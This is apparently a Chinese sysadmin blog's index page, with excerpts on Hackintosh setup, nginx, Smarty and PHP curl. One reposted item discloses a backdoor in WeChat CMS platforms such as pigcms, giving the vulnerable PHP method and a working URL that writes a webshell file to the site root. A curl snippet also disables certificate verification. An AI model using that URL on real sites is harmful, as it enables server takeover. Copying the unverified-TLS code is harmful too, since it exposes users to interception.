t420安装黑苹果10.12.6，macos和win10和win7挂载macos EFI分区的方法
[ 2017-11-01 23:17:12 | 作者: admin ]
ps. 使用键盘上ScrLk和Pause调节屏幕亮度
主EFI为放了clover的分区，如果不能识别win7的系统（win7硬盘也是GUID），可以把win7的EFI目录下面的Microsoft目录复制到带clover的EFI目录下面。如果win7装在MBR下面，则在pe下面可以无损转成GUID，然后pe下面修复下启动，再复制win7的EFI的Microsoft目录到clover的EFI目录。
安装步骤：
1、下载原盘镜像dmg，是否集成cover都无所谓
2、找个空8G的U盘，win7下使用TransMac先格式化mac格式，然后restore下载的dmg到u盘
3、找到适合安装mac的电脑的EFI启动文件，t420下载地址 https://github.com/tluck/Lenovo-T420-Clover/
4、把U盘插到win8.1或者wi...
阅读全文…
主EFI为放了clover的分区，如果不能识别win7的系统（win7硬盘也是GUID），可以把win7的EFI目录下面的Microsoft目录复制到带clover的EFI目录下面。如果win7装在MBR下面，则在pe下面可以无损转成GUID，然后pe下面修复下启动，再复制win7的EFI的Microsoft目录到clover的EFI目录。
安装步骤：
1、下载原盘镜像dmg，是否集成cover都无所谓
2、找个空8G的U盘，win7下使用TransMac先格式化mac格式，然后restore下载的dmg到u盘
3、找到适合安装mac的电脑的EFI启动文件，t420下载地址 https://github.com/tluck/Lenovo-T420-Clover/
4、把U盘插到win8.1或者wi...
阅读全文…
网曝微信第三方平台出现惊人后门及漏洞 微米 weimicms pigcms 等
[ 2017-10-21 10:09:32 | 作者: admin ]
来源：http://blog.360dseo.com/
网曝微信第三方平台出现惊人后门及漏洞，后门及漏洞轻则导致网站无法访问，内容被篡改，严重的可能盗取服务器资料。
更严重的可能会获取服务器直接管理权限，因为代码属于正常参数提交，所以不会被杀毒软件及各种防火墙拦截，完全免疫！！！
后门1：
执行原理网址后加index.php?g=Home&m=Weixin&a=test&name=muma.php&data=木马内容，
直接打开浏览就可以。笨蛋的说就是粘贴进网址按回车。
这里就是提交一句话木马写入到根目录muma.php内 由于很多程序做了转码，但是还是很多可以执行的。
...
阅读全文…
网曝微信第三方平台出现惊人后门及漏洞，后门及漏洞轻则导致网站无法访问，内容被篡改，严重的可能盗取服务器资料。
更严重的可能会获取服务器直接管理权限，因为代码属于正常参数提交，所以不会被杀毒软件及各种防火墙拦截，完全免疫！！！
后门1：
WeixinAction.class.php
public function test($name, $data)
{
file_put_contents($name, $data);
}
这句话的意思就是在根目录生成文件data可以一句话木马提交注入。public function test($name, $data)
{
file_put_contents($name, $data);
}
执行原理网址后加index.php?g=Home&m=Weixin&a=test&name=muma.php&data=木马内容，
直接打开浏览就可以。笨蛋的说就是粘贴进网址按回车。
这里就是提交一句话木马写入到根目录muma.php内 由于很多程序做了转码，但是还是很多可以执行的。
...
阅读全文…
安装安全狗之后，网址自动加了WebShieldSessionVerify=怎么处理
[ 2017-10-20 16:02:02 | 作者: admin ]
出现该字符的主要原因是开启了网站安全狗的CC防护的会话验证模式的中级模式或高级模式,所以IE浏览器会跟上这段代码进行网站访问的验证.浏览器首次访问验证通过后,后续访问不会出现该字符.
如果确实不想出现这段验证代码可以将网站安全狗的CC攻击防护功能的会话验证模式调整为初级模式(该模式对攻击验证判断较为宽松)即可解决.
如果确实不想出现这段验证代码可以将网站安全狗的CC攻击防护功能的会话验证模式调整为初级模式(该模式对攻击验证判断较为宽松)即可解决.
dreamweaver8的配色问题
[ 2017-09-27 16:15:57 | 作者: admin ]
dreamweaver8默认的unicode配色非常模糊不舒服
在首选参数里面修改下字体，选中 unicode
参考简体中文修改，或者全部改为 YaHei 11pt ，眼镜要舒服很多
在首选参数里面修改下字体，选中 unicode
参考简体中文修改，或者全部改为 YaHei 11pt ，眼镜要舒服很多
nginx在reload时候报错invalid PID number
[ 2017-09-26 13:31:00 | 作者: admin ]
http://www.cnblogs.com/tielemao/p/6163419.html
nginx重新加载配置文件时候报错，提示无效的PID：
解决的办法有二:
第一种思路是因为是加载配置文件报的错，所以用-c 选项指定配置文件 ，如此指明后问题解决；
第二种思路是从PID号着手，提示无效PID号时nginx.pid文件为空，将进程的PID号追加到空的nginx.pid上,问题解决；
（上图引用自网络其他人的博客）
这是我做实验的机器上已经通过第一种加载配置成功后查看到的进程PID号。
[img]attac...
阅读全文…
nginx重新加载配置文件时候报错，提示无效的PID：
解决的办法有二:
第一种思路是因为是加载配置文件报的错，所以用-c 选项指定配置文件 ，如此指明后问题解决；
第二种思路是从PID号着手，提示无效PID号时nginx.pid文件为空，将进程的PID号追加到空的nginx.pid上,问题解决；
（上图引用自网络其他人的博客）
这是我做实验的机器上已经通过第一种加载配置成功后查看到的进程PID号。
[img]attac...
阅读全文…
使用自定义 OpenSSL 库编译 nginx
[ 2017-09-26 11:17:06 | 作者: admin ]
p.s. 升级nginx1.10.1到1.12.1，重新编译升级openssl来让nginx支持ssl
参考：
https://www.sinosky.org/compile-nginx-with-a-custom-openssl-library.html
openssl升级及nginx重新编译 http://blog.csdn.net/jhonney/article/details/73770339
编译安装 nginx 时，默认使用系统自带的 OpenSSL 库，但其一般很老，不支持如 SDPY 等新功能。--with-openssl 参数虽然可以指定 OpenSSL 路径，但只支持 OpenSSL 的源代码，不支持已编译好的 OpenSSL。每回更新 nginx 都要重新编译 OpenSSL 肯定很麻烦，网上找到一个方案，觉得很好，记录下来。
错误提示：[code][/code]...
阅读全文…
参考：
https://www.sinosky.org/compile-nginx-with-a-custom-openssl-library.html
openssl升级及nginx重新编译 http://blog.csdn.net/jhonney/article/details/73770339
编译安装 nginx 时，默认使用系统自带的 OpenSSL 库，但其一般很老，不支持如 SDPY 等新功能。--with-openssl 参数虽然可以指定 OpenSSL 路径，但只支持 OpenSSL 的源代码，不支持已编译好的 OpenSSL。每回更新 nginx 都要重新编译 OpenSSL 肯定很麻烦，网上找到一个方案，觉得很好，记录下来。
错误提示：[code][/code]...
阅读全文…
一次curl无法获取https网页的问题解决
[ 2017-09-25 17:23:49 | 作者: admin ]
centos6.5的服务器，curl是7.1
php5.3下面死活就是获取不到https内容，只有一片空白，但是抓http网页正常。
phpinfo()下面的信息正常，有curl和openssl，理论看是肯定能支持https的。然后在centos终端下curl能获取https，
这里想可能是php兼容问题，想着要不要升级php，随意把php-fpm重启了下，居然就好了，晕！！
后来想到curl可能版本升级过，造成php-fpm需要重启下才能识别？反正重启大法搞定了
阅读全文…
php5.3下面死活就是获取不到https内容，只有一片空白，但是抓http网页正常。
phpinfo()下面的信息正常，有curl和openssl，理论看是肯定能支持https的。然后在centos终端下curl能获取https，
这里想可能是php兼容问题，想着要不要升级php，随意把php-fpm重启了下，居然就好了，晕！！
后来想到curl可能版本升级过，造成php-fpm需要重启下才能识别？反正重启大法搞定了
function get_http($url){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); //不验证证书
curl_setopt($ch,
...$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); //不验证证书
curl_setopt($ch,
阅读全文…
smarty定界符与js冲突的问题
[ 2017-09-02 12:20:37 | 作者: admin ]
在使用smarty的时候，如果没有更改smarty配置，smarty的定界符是{ }，大家经常可能碰到模板页中js无法正确执行的问题。
这就是因为smarty引擎把js中{ }之间的内容也当做smarty语句来处理，本人总结的解决这个问题主要有三个：
1.更改smarty配置文件中的定界符。（就我而言，已经习惯了用{ }，所以一般不用这种方法。）
2.把JavaScript代码写到一个js文件中，在模板页中引用即可。
3.使用smarty内置的literal标签，此标签内的数据将会被当做文本处理。例如
{literal}
<script language=javascript>
........
</script>
{/literal}
有时，我们需要输出定界符{ }，则可以使用{ldelim}和{rdelim}标签来输出左右定界符。
这就是因为smarty引擎把js中{ }之间的内容也当做smarty语句来处理，本人总结的解决这个问题主要有三个：
1.更改smarty配置文件中的定界符。（就我而言，已经习惯了用{ }，所以一般不用这种方法。）
2.把JavaScript代码写到一个js文件中，在模板页中引用即可。
3.使用smarty内置的literal标签，此标签内的数据将会被当做文本处理。例如
{literal}
<script language=javascript>
........
</script>
{/literal}
有时，我们需要输出定界符{ }，则可以使用{ldelim}和{rdelim}标签来输出左右定界符。
